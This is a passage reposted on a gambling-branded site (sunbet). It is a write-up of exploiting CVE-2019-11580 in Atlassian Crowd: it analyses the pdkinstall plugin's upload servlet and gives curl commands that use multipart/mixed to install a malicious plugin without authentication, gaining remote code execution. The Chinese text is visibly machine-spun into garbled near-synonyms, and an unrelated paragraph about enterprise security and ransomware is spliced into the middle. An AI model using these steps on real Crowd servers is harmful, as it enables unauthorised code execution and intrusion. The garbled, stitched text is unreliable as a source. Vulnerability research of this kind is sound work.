励志鸡汤:新手视角剖析Atlassian Crowd RCE – CVE-2019-11580 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

励志鸡汤:新手视角剖析Atlassian Crowd RCE – CVE-2019-11580

申博_安全预警 申博 142次浏览 已收录 0个评论

简介

Atlassian Crowd是Atlassian旗下的主要产品之一,Crowd是一个单点登录和用户身份治理工具,轻易运用、治理轻易而且可集成本身的插件举行扩大,别的在Crowd平台上能够治理悉数运用程序的接见权限 – Atlassian、Subversion、Google运用、也许本身开辟的运用程序。

从猎取到的信息中得知,进击目的运用的是Crowd较早的版本。经由历程Google检索相干信息看是不是存在相干破绽,从官方修复报告中发明,之前存在着pdkinstall开辟插件毛病启用致使长途代码实行的破绽(CVE-2019-11580) 

励志鸡汤:新手视角剖析Atlassian Crowd RCE - CVE-2019-11580

根据这一信息再举行搜刮,没能找到关于该破绽的相干POC,因而我决议举行剖析以后,本身写一个POC出来。

剖析

起首我们就找到pdkinstall-plugin,并将其克隆到当地机械

[email protected]:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.
Resolving deltas: 100% (88/88), done.

从Atlassian开辟者文档中相识到,插件都邑有一份形貌文件,因而坚决在**./main/resources/atlassian-plugin.xml**找到了该插件的形貌文件

<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
    <version>${project.version}</version>
    <vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>
<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
    <url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>
<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter"
    location="before-decoration">
    <url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>
<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>

能够看到Java servlet class com.atlassian.pdkinstall.PdkInstallFilter被挪用来接见**/admin/uploadplugin.action**。我们已得知该破绽可经由历程装置恣意插件以杀青长途代码实行,所以接下来应当去口口PdkInstallFilter servlet的源代码。

说干就干,将pdkinstall-plugin导入进IntelliJ以便更全面的浏览源代码,这里我们就从doFilter()要领入手。

浏览代码,假如这个处所要求的体式格局不是POST,代码将会退出并返回一个毛病

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;
if (!req.getMethod().equalsIgnoreCase("post"))
{
    res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
    return;
}

接下来代码会继承推断POST要求中是不是包括multipart数据,有关multipart的引见能够看看《深切剖析 multipart/form-data》。假如包括multipart就挪用extractJar()要领,从发送要求包中提取jar。除此之外,代码会挪用buildJarFromFiles()要领,尝试着根据要求中的数据构建一个插件jar文件。

// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
    tmp = extractJar(req, res, tmp);
}
else
{
    tmp = buildJarFromFiles(req);
}

好了,从如今最先将眼光群集到extractJar()要领

private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
    // Create a new file upload handler
    ServletFileUpload upload = new ServletFileUpload(factory);
    // Parse the request
    try {
        List<FileItem> items = upload.parseRequest(req);
        for (FileItem item : items)
        {
            if (item.getFieldName().startsWith("file_") && !item.isFormField())
            {
                tmp = File.createTempFile("plugindev-", item.getName());
                tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
                item.write(tmp);
            }
        }
    } catch (FileUploadException e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
    } catch (Exception e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
    }
    return tmp;
}

起首它会实例化一个新的ServletFileUpload对象,然后挪用parseRequest()要领来剖析HTTP要求。此要领被用来处置惩罚HTTP要求中的multipart / form-data数据流,并将FileItems作为列表传递给items变量。

关于FileItems列表中的每一个item,假如字段名以file_开首且并不是HTML表单字段(form field)须要上传的文件会被作为临时文件写入硬盘。假如这个历程失利,tmp变量则为null;假如胜利tmp变量则包括胜利写入文件的途径。接下来把关注点移回doFilter要领

if (tmp != null)
{
    List<String> errors = new ArrayList<String>();
    try
    {
        errors.addAll(pluginInstaller.install(tmp));
    }
    catch (Exception ex)
    {
        log.error(ex);
        errors.add(ex.getMessage());
    }
    tmp.delete();
    if (errors.isEmpty())
    {
        res.setStatus(HttpServletResponse.SC_OK);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
    }
    else
    {
        res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Unable to install plugin:");
        for (String err : errors)
        {
            servletResponse.getWriter().println("\t - " + err);
        }
    }
    servletResponse.getWriter().close();
    return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");

假如胜利实行extractJar(),变量tmp则不会被设定为null。运用会尝试实行pluginInstaller.install()要领来装置插件,并捕捉该实行历程当中发作多所有毛病。假如该历程当中没有发作任何毛病,服务端相应代码为200 OK,那末就申明插件已胜利装置。假如服务端返回400 Bad Request,并显现“Unable to install plugin”信息,那末装置就失利了。

别的,假如extractJar()要领初始化失利,tmp变量将会被设定为null,服务端相应码为400 Bad Request,并显现“Missing plugin file”

至此我们已搞清servlet后端,以及能够涌现的各种要求,let’s try to exploit it!

失利的第一次

运用Atlassian SDK搭建一个实例,并保证能够经由历程接见http://localhost:4990/crowd/admin/uploadplugin.action挪用pdkinstall插件

不出不测的话,服务端会返回400 Bad Request 

励志鸡汤:新手视角剖析Atlassian Crowd RCE - CVE-2019-11580

如今应用我们以及控制的信息,尝试上传一个规范插件。我挑选运用Atlassian自带插件applinks-plugin,你能够经由历程链接猎取编译好的jar文件。

现在已知信息:servlet须要一个包括multipart数据,且multipart数据包括的文件前缀为file_的POST要求。完成这个步骤只需运用cURL’s –form就行

[email protected]:~# curl --form "[email protected]" 
http://localhost:4990/crowd/admin/uploadplugin.action -v

励志鸡汤:新手视角剖析Atlassian Crowd RCE - CVE-2019-11580

互联网企业的取经之路 | 新一代企业安全体系建设

没有网络安全,就没有国家安全。 这是国家领导人在一次会议上的讲话。 随着网络技术的快速发展和广泛应用,网络信息安全不仅关系到企业的健康发展,也关系到国家安全和社会稳定。 · WannaCry勒索攻击全球爆发,多个国家的政府、企业、医疗、高校等各行业均有IT设备中招…… · 国内某省的国土资源专网遭勒索病毒攻击,不动产登记业务无法正常办理…… · 台积电遭勒索病毒侵袭,工厂停产损失或达1.7亿美元…… · 丹麦航运公司马士基遭遇Petya勒索软件,业务损失超过2亿美元…… · 新加坡总理李显龙的医

从返回效果得知,插件已胜利装置。所以,我们能够最先制造并装置本身的插件包了?

我制造的这个歹意插件能够到GitHub检察

那末就编译,然后上传吧~

[email protected]:~# ./compile.sh
[email protected]:~# curl --form "[email protected]" http://localhost:8095/crowd/admin/uploadplugin.action -v

励志鸡汤:新手视角剖析Atlassian Crowd RCE - CVE-2019-11580

从相应信息中得知我们失利了。400 Bad Request,伴着“Missing plugin file”信息,我们得认可失利!

新近我们就已晓得返回“Missing plugin file”音讯,代表着变量tmp的值为null。这个题目怎样形成的呢?老铁们,debugger走一波

调试

将pdkinstall-plugin导入进IntelliJ,同时翻开用于处置惩罚上传操纵的PdkInstallFilter.java的servlet接口,对Crowd实例举行调试。

彼时,我脑中第一个主意就是题目出在ServletFileUpload.isMultipartContent(req)要领,因而在该处设了一个断点。以后再次上传歹意插件,我们能够看到它一般事情,服务器将其作为multipart信息处置惩罚:

励志鸡汤:新手视角剖析Atlassian Crowd RCE - CVE-2019-11580

岂非题目出在extractJar()?立马对该要领举行调试,并逐行设置断点以便找出题目的症结,设置完以后,再上传一次:

励志鸡汤:新手视角剖析Atlassian Crowd RCE - CVE-2019-11580

能够看到upload.parseRequest(req)要领返回一个空的数组,由于变量items为空,它就跳过了for轮回并将效果返回给被设置为null的tmp变量

我花了许多时候来思索这个题目发生的缘由,但一直没能找出题目根本缘由,但如今我们只须要体贴RCE就好!

假如我将multipart/form-data改变成其他的multipart编码会发作什么呢?拭目以待

第二次尝试

此次我决议运用multipart/mixed体式格局来上传歹意插件,也许会有欣喜呢?

curl -k -H "Content-Type: multipart/mixed" \
  --form "[email protected]" http://localhost:4990/crowd/admin/uploadplugin.action

从返回效果中确认我们已胜利了,这一刻应当伴有掌声!

励志鸡汤:新手视角剖析Atlassian Crowd RCE - CVE-2019-11580

在Web端挪用歹意插件 

励志鸡汤:新手视角剖析Atlassian Crowd RCE - CVE-2019-11580

至此,我们取得了一个Atlassian Crowd具有预受权的长途代码实行

启介有话说

从信息网络到最后的胜利取得RCE,个中少不了从破绽赏金设计中猎取的相干信息,但更加症结的是原作者不恐惧、勇于应战新颖事物的决计。

在此之前,他不懂Java,没有过调试履历,就靠本身一次次的尝试,终究取得胜利!

Try new things, do your research, and struggle – it’s a huge part of the learning process!

原文地点: https://www.4hou.com/vulnerable/19223.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明励志鸡汤:新手视角剖析Atlassian Crowd RCE – CVE-2019-11580
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址